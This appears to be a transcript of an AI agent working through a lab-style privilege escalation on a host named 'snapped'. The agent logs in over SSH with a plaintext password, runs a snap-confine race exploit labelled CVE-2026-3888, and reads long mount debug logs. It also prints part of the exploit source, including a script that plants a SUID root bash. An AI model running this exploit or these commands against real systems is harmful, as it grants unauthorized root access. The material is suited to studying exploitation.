logger.go:93: DEBUG: entry that requires "/usr/lib/x86_64-linux-gnu": /snap/firefox/4793/gnome-platform/usr/lib/x86_64-linux-gnu/webkit2gtk-4.1 /usr/lib/x86_64-linux-gnu/webkit2gtk-4.1 none rbind,rw,x-snapd.origin=layout 0 0
logger.go:93: DEBUG: entry that requires "/usr/share": /snap/firefox/4793/gnome-platform/usr/share/xml/iso-codes /usr/share/xml/iso-codes none rbind,rw,x-snapd.origin=layout 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/sounds": /snap/gtk-common-themes/1535/share/sounds/Yaru /snap/firefox/4793/data-dir/sounds/Yaru none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/sounds": /snap/gtk-common-themes/1535/share/sounds/freedesktop /snap/firefox/4793/data-dir/sounds/freedesktop none bind,ro 0 0
logger.go:93: DEBUG: adding independent entry: /snap/gnome-42-2204/176 /snap/firefox/4793/gnome-platform none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/usr/local/share": /var/lib/snapd/hostfs/usr/local/share/doc /usr/local/share/doc none bind,ro 0 0
logger.go:93: DEBUG: adding independent entry: /var/lib/snapd/hostfs/usr/local/share/fonts /usr/local/share/fonts none bind,ro 0 0
logger.go:93: DEBUG: adding independent entry: /var/lib/snapd/hostfs/usr/share/doc /usr/share/doc none bind,ro 0 0
logger.go:93: DEBUG: adding independent entry: /var/lib/snapd/hostfs/usr/share/fonts /usr/share/fonts none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/usr/share": /var/lib/snapd/hostfs/usr/share/gtk-doc /usr/share/gtk-doc none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/usr/share": /var/lib/snapd/hostfs/usr/share/sphinx_rtd_theme /usr/share/sphinx_rtd_theme none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/usr/share": /var/lib/snapd/hostfs/usr/share/xubuntu-docs /usr/share/xubuntu-docs none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/usr/share": /snap/firefox/4793/usr/share/alsa /usr/share/alsa none rbind,rw,x-snapd.origin=layout 0 0
logger.go:93: DEBUG: adding independent entry: /snap/firefox/4793/gnome-platform/usr/share/libdrm /usr/share/libdrm none rbind,rw,x-snapd.origin=layout 0 0
logger.go:93: DEBUG: entry that requires "/usr/share": /var/lib/snapd/hostfs/usr/share/javascript/jquery /usr/share/javascript/jquery none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/usr/share": /var/lib/snapd/hostfs/usr/share/javascript/sphinxdoc /usr/share/javascript/sphinxdoc none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/icons": /snap/gtk-common-themes/1535/share/icons/Adwaita /snap/firefox/4793/data-dir/icons/Adwaita none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/icons": /snap/gtk-common-themes/1535/share/icons/Ambiant-MATE /snap/firefox/4793/data-dir/icons/Ambiant-MATE none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/icons": /snap/gtk-common-themes/1535/share/icons/Breeze_Snow /snap/firefox/4793/data-dir/icons/Breeze_Snow none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/icons": /snap/gtk-common-themes/1535/share/icons/DMZ-Black /snap/firefox/4793/data-dir/icons/DMZ-Black none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/icons": /snap/gtk-common-themes/1535/share/icons/DMZ-White /snap/firefox/4793/data-dir/icons/DMZ-White none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/icons": /snap/gtk-common-themes/1535/share/icons/HighContrast /snap/firefox/4793/data-dir/icons/HighContrast none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/icons": /snap/gtk-common-themes/1535/share/icons/Humanity-Dark /snap/firefox/4793/data-dir/icons/Humanity-Dark none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/icons": /snap/gtk-common-themes/1535/share/icons/Humanity /snap/firefox/4793/data-dir/icons/Humanity none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/icons": /snap/gtk-common-themes/1535/share/icons/Papirus-Adapta-Maia /snap/firefox/4793/data-dir/icons/Papirus-Adapta-Maia none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/icons": /snap/gtk-common-themes/1535/share/icons/Papirus-Adapta-Nokto-Maia /snap/firefox/4793/data-dir/icons/Papirus-Adapta-Nokto-Maia none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/icons": /snap/gtk-common-themes/1535/share/icons/Papirus-Dark-Maia /snap/firefox/4793/data-dir/icons/Papirus-Dark-Maia none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/icons": /snap/gtk-common-themes/1535/share/icons/Papirus-Light-Maia /snap/firefox/4793/data-dir/icons/Papirus-Light-Maia none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/icons": /snap/gtk-common-themes/1535/share/icons/Papirus-Maia /snap/firefox/4793/data-dir/icons/Papirus-Maia none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/icons": /snap/gtk-common-themes/1535/share/icons/Radiant-MATE /snap/firefox/4793/data-dir/icons/Radiant-MATE none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/icons": /snap/gtk-common-themes/1535/share/icons/Yaru-MATE-dark /snap/firefox/4793/data-dir/icons/Yaru-MATE-dark none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/4793/data-dir/icons": /snap/gtk-common-themes/1535/share/icons/Yaru-MATE-light /snap/firefox/4793/data-dir/icons/Yaru-MATE-light none bind,ro 0 0
logger.go:93: DEBUG: entry that requires "/snap/firefox/| head -N, | tail -N, | grep PATTERN, or redirect to a file.The exploit is producing a lot of debug output. It's in Phase 1 (entering the sandbox) and running snap-confine. Let me check the tail of the output to see progress.
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'tail -30 /tmp/exploit_output.txt 2>/dev/null' 2>/dev/nulllogger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-MATE-dark" dir:"/snap/firefox/4793/data-dir/themes/Yaru-MATE-dark" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-MATE-light" dir:"/snap/firefox/4793/data-dir/themes/Yaru-MATE-light" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-bark-dark" dir:"/snap/firefox/4793/data-dir/themes/Yaru-bark-dark" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-bark" dir:"/snap/firefox/4793/data-dir/themes/Yaru-bark" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-blue-dark" dir:"/snap/firefox/4793/data-dir/themes/Yaru-blue-dark" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-blue" dir:"/snap/firefox/4793/data-dir/themes/Yaru-blue" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-dark" dir:"/snap/firefox/4793/data-dir/themes/Yaru-dark" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-light" dir:"/snap/firefox/4793/data-dir/themes/Yaru-light" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-magenta-dark" dir:"/snap/firefox/4793/data-dir/themes/Yaru-magenta-dark" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-magenta" dir:"/snap/firefox/4793/data-dir/themes/Yaru-magenta" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-mate-dark" dir:"/snap/firefox/4793/data-dir/themes/Yaru-mate-dark" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-mate" dir:"/snap/firefox/4793/data-dir/themes/Yaru-mate" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-olive-dark" dir:"/snap/firefox/4793/data-dir/themes/Yaru-olive-dark" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-olive" dir:"/snap/firefox/4793/data-dir/themes/Yaru-olive" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-prussiangreen-dark" dir:"/snap/firefox/4793/data-dir/themes/Yaru-prussiangreen-dark" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-prussiangreen" dir:"/snap/firefox/4793/data-dir/themes/Yaru-prussiangreen" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-purple-dark" dir:"/snap/firefox/4793/data-dir/themes/Yaru-purple-dark" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-purple" dir:"/snap/firefox/4793/data-dir/themes/Yaru-purple" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-red-dark" dir:"/snap/firefox/4793/data-dir/themes/Yaru-red-dark" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-red" dir:"/snap/firefox/4793/data-dir/themes/Yaru-red" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-sage-dark" dir:"/snap/firefox/4793/data-dir/themes/Yaru-sage-dark" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-sage" dir:"/snap/firefox/4793/data-dir/themes/Yaru-sage" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-viridian-dark" dir:"/snap/firefox/4793/data-dir/themes/Yaru-viridian-dark" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-viridian" dir:"/snap/firefox/4793/data-dir/themes/Yaru-viridian" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru" dir:"/snap/firefox/4793/data-dir/themes/Yaru" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/elementary" dir:"/snap/firefox/4793/data-dir/themes/elementary" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/var/lib/snapd/hostfs/tmp/.X11-unix" dir:"/tmp/.X11-unix" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: need to create writable mimic needed to create path "/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0" (mount entry id: "/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0") (original error: cannot operate on read-only filesystem at /usr/lib/x86_64-linux-gnu)
logger.go:93: DEBUG: create-writable-mimic "/usr/lib/x86_64-linux-gnu"
logger.go:93: DEBUG: mount name:"/usr/lib/x86_64-linux-gnu" dir:"/tmp/.snap/usr/lib/x86_64-linux-gnu"I can see it's creating the writable mimic for /usr/lib/x86_64-linux-gnu which is the key step. It's now inside Phase 1 and building the namespace. Let me wait more and check progress.
$ sleep 60 && sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'grep -E "\[Phase|SWAP|race won|root|shell|Error|error" /tmp/exploit_output.txt 2>/dev/null | tail -30; echo "---TAIL---"; tail -10 /tmp/exploit_output.txt 2>/dev/null' 2>/dev/nulllogger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Radiance" dir:"/snap/firefox/4793/data-dir/themes/Radiance" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Radiant-MATE" dir:"/snap/firefox/4793/data-dir/themes/Radiant-MATE" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-MATE-dark" dir:"/snap/firefox/4793/data-dir/themes/Yaru-MATE-dark" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-MATE-light" dir:"/snap/firefox/4793/data-dir/themes/Yaru-MATE-light" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-bark-dark" dir:"/snap/firefox/4793/data-dir/themes/Yaru-bark-dark" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-bark" dir:"/snap/firefox/4793/data-dir/themes/Yaru-bark" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-blue-dark" dir:"/snap/firefox/4793/data-dir/themes/Yaru-blue-dark" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-blue" dir:"/snap/firefox/4793/data-dir/themes/Yaru-blue" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-dark" dir:"/snap/firefox/4793/data-dir/themes/Yaru-dark" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-light" dir:"/snap/firefox/4793/data-dir/themes/Yaru-light" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-magenta-dark" dir:"/snap/firefox/4793/data-dir/themes/Yaru-magenta-dark" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-magenta" dir:"/snap/firefox/4793/data-dir/themes/Yaru-magenta" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-mate-dark" dir:"/snap/firefox/4793/data-dir/themes/Yaru-mate-dark" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-mate" dir:"/snap/firefox/4793/data-dir/themes/Yaru-mate" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-olive-dark" dir:"/snap/firefox/4793/data-dir/themes/Yaru-olive-dark" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-olive" dir:"/snap/firefox/4793/data-dir/themes/Yaru-olive" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-prussiangreen-dark" dir:"/snap/firefox/4793/data-dir/themes/Yaru-prussiangreen-dark" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-prussiangreen" dir:"/snap/firefox/4793/data-dir/themes/Yaru-prussiangreen" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-purple-dark" dir:"/snap/firefox/4793/data-dir/themes/Yaru-purple-dark" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-purple" dir:"/snap/firefox/4793/data-dir/themes/Yaru-purple" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-red-dark" dir:"/snap/firefox/4793/data-dir/themes/Yaru-red-dark" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-red" dir:"/snap/firefox/4793/data-dir/themes/Yaru-red" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-sage-dark" dir:"/snap/firefox/4793/data-dir/themes/Yaru-sage-dark" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-sage" dir:"/snap/firefox/4793/data-dir/themes/Yaru-sage" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-viridian-dark" dir:"/snap/firefox/4793/data-dir/themes/Yaru-viridian-dark" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-viridian" dir:"/snap/firefox/4793/data-dir/themes/Yaru-viridian" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru" dir:"/snap/firefox/4793/data-dir/themes/Yaru" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/elementary" dir:"/snap/firefox/4793/data-dir/themes/elementary" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/var/lib/snapd/hostfs/tmp/.X11-unix" dir:"/tmp/.X11-unix" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: need to create writable mimic needed to create path "/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0" (mount entry id: "/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0") (original error: cannot operate on read-only filesystem at /usr/lib/x86_64-linux-gnu)
---TAIL---
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-sage-dark" dir:"/snap/firefox/4793/data-dir/themes/Yaru-sage-dark" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-sage" dir:"/snap/firefox/4793/data-dir/themes/Yaru-sage" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-viridian-dark" dir:"/snap/firefox/4793/data-dir/themes/Yaru-viridian-dark" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru-viridian" dir:"/snap/firefox/4793/data-dir/themes/Yaru-viridian" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/Yaru" dir:"/snap/firefox/4793/data-dir/themes/Yaru" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/elementary" dir:"/snap/firefox/4793/data-dir/themes/elementary" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/var/lib/snapd/hostfs/tmp/.X11-unix" dir:"/tmp/.X11-unix" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: need to create writable mimic needed to create path "/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0" (mount entry id: "/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0") (original error: cannot operate on read-only filesystem at /usr/lib/x86_64-linux-gnu)
logger.go:93: DEBUG: create-writable-mimic "/usr/lib/x86_64-linux-gnu"
logger.go:93: DEBUG: mount name:"/usr/lib/x86_64-linux-gnu" dir:"/tmp/.snap/usr/lib/x86_64-linux-gnu"The output seems stuck. It seems the exploit started but the first snap-confine execution is creating the initial namespace. Let me check if the exploit process is still running and look for specific phase markers.
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'ps aux | grep -E "exploit|snap|sleep" | grep -v grep | grep -v snapd; echo "---"; wc -l /tmp/exploit_output.txt; echo "---"; grep -c "Phase\|phase\|PHASE\|\[Phase\]" /tmp/exploit_output.txt 2>/dev/null' 2>/dev/nullavahi 1520 0.0 0.1 8756 4596 ? Ss 07:05 0:00 avahi-daemon: running [snapped.local]
---
784 /tmp/exploit_output.txt
---
0
The exploit process seems to have exited. Let me check if there was an error.
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'head -20 /tmp/exploit_output.txt; echo "==="; tail -5 /tmp/exploit_output.txt' 2>/dev/nullcannot perform operation: mount --rbind /dev /tmp/snap.rootfs_LQOt1Q//dev: No such file or directory
DEBUG: -- snap startup {"stage":"snap-confine enter", "time":"1775734258.893679"}
DEBUG: umask reset, old umask was 02
DEBUG: security tag: snap.firefox.hook.configure
DEBUG: executable: /bin/sh
DEBUG: confinement: non-classic
DEBUG: base snap: core22
DEBUG: ruid: 1000, euid: 0, suid: 0
DEBUG: rgid: 1000, egid: 1000, sgid: 1000
DEBUG: apparmor label on snap-confine is: /usr/lib/snapd/snap-confine
DEBUG: apparmor mode is: enforce
DEBUG: -- snap startup {"stage":"snap-confine mount namespace start", "time":"1775734258.895559"}
DEBUG: creating lock directory /run/snapd/lock (if missing)
DEBUG: set_effective_identity uid:0 (change: no), gid:0 (change: yes)
DEBUG: opening lock directory /run/snapd/lock
DEBUG: set_effective_identity uid:0 (change: no), gid:1000 (change: yes)
DEBUG: opening lock file: /run/snapd/lock/.lock
DEBUG: set_effective_identity uid:0 (change: no), gid:0 (change: yes)
DEBUG: set_effective_identity uid:0 (change: no), gid:1000 (change: yes)
DEBUG: sanity timeout initialized and set for 30 seconds
===
logger.go:93: DEBUG: mount name:"/snap/gtk-common-themes/1535/share/themes/elementary" dir:"/snap/firefox/4793/data-dir/themes/elementary" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: mount name:"/var/lib/snapd/hostfs/tmp/.X11-unix" dir:"/tmp/.X11-unix" type:"none" opts:MS_BIND|MS_RDONLY unparsed:"" (error: <nil>)
logger.go:93: DEBUG: need to create writable mimic needed to create path "/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0" (mount entry id: "/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0") (original error: cannot operate on read-only filesystem at /usr/lib/x86_64-linux-gnu)
logger.go:93: DEBUG: create-writable-mimic "/usr/lib/x86_64-linux-gnu"
logger.go:93: DEBUG: mount name:"/usr/lib/x86_64-linux-gnu" dir:"/tmp/.snap/usr/lib/x86_64-linux-gnu"I see the problem. The exploit output doesn't have Phase markers - the exploit's own output (like [Phase 1]) is going to stderr, but the debug output of snap-confine is going to stdout. Also, the exploit seems to have failed because the output is just the snap-confine debug output from the initial setup. Let me look at the source code to understand the exploit better, then re-run without -d to reduce noise.
$ head -100 /tmp/snapped/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE/exploit_suid.c/*
* CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
*
* Compile this:
* gcc -O2 -static -o exploit exploit_suid.c
*
* Compile the payload separately:
* gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
*
* Usage:
* ./exploit <librootshell.so> [-d] [-s]
*
* -d Show snap-confine debug output and verbose system
* command output. Without this flag, only exploit
* status messages are shown.
* -s Skip the .snap cleanup wait. Requires root password.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <errno.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/syscall.h>
#define SNAP_CONFINE "/usr/lib/snapd/snap-confine"
#define EXCHANGE_SRC ".snap/usr/lib/x86_64-linux-gnu.exchange"
#define EXCHANGE_DST ".snap/usr/lib/x86_64-linux-gnu"
#define REAL_LIBDIR "/snap/core22/current/usr/lib/x86_64-linux-gnu"
#define TRIGGER "dir:\"/tmp/.snap/usr/lib/x86_64-linux-gnu\""
#define SUID_BASH "/var/snap/firefox/common/bash"
#define ESCAPE_SCRIPT \
"#!/tmp/busybox sh\n" \
"/tmp/busybox cp /bin/bash /var/snap/firefox/common/bash\n" \
"/tmp/busybox chmod 04755 /var/snap/firefox/common/bash\n"
static char g_orig_cwd[4096];
static char g_librootshell[4096];
static int g_unit_seq = 0;
static int g_debug = 0;
static int copy_file(const char *src, const char *dst)
{
int fds = open(src, O_RDONLY);
if (fds < 0) return -1;
int fdd = open(dst, O_WRONLY | O_CREAT | O_TRUNC, 0755);
if (fdd < 0) { close(fds); return -1; }
char buf[65536];
ssize_t n;
while ((n = read(fds, buf, sizeof(buf))) > 0)
write(fdd, buf, n);
close(fds);
close(fdd);
return 0;
}
static int setup_snap_and_exchange(void)
{
mkdir(".snap", 0755);
mkdir(".snap/usr", 0755);
mkdir(".snap/usr/lib", 0755);
mkdir(".snap/usr/local", 0755);
mkdir(".snap/snap", 0755);
mkdir(".snap/snap/firefox", 0755);
/* Mirror /snap/firefox/<rev>/data-dir structure */
DIR *d = opendir("/snap/firefox");
if (d) {
struct dirent *ent;
while ((ent = readdir(d)) != NULL) {
if (ent->d_name[0] != '.' &&
strcmp(ent->d_name, "current") != 0) {
char p[512];
snprintf(p, sizeof(p),
".snap/snap/firefox/%s", ent->d_name);
mkdir(p, 0755);
snprintf(p, sizeof(p),
".snap/snap/firefox/%s/data-dir", ent->d_name);
mkdir(p, 0755);
}
}
closedir(d);
}
/* Copy every entry from core22's /usr/lib/x86_64-linux-gnu */
mkdir(EXCHANGE_SRC, 0755);
d = opendir(REAL_LIBDIR);
if (!d) { perror("[!] opendir " REAL_LIBDIR); return -1; }
int count = 0;
Let me look at what the exploit prints for phase tracking and the main flow:
$ grep -n "Phase\|fprintf\|printf" /tmp/snapped/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE/exploit_suid.c | head -4084: snprintf(p, sizeof(p),
87: snprintf(p, sizeof(p),
109: snprintf(src, sizeof(src), "%s/%s", REAL_LIBDIR, ent->d_name);
110: snprintf(dst, sizeof(dst), "%s/%s", EXCHANGE_SRC, ent->d_name);
127: printf("[*] %d entries copied to exchange directory\n", count);
194: printf("[*] Monitoring snap-confine (child PID %d)...\n", child);
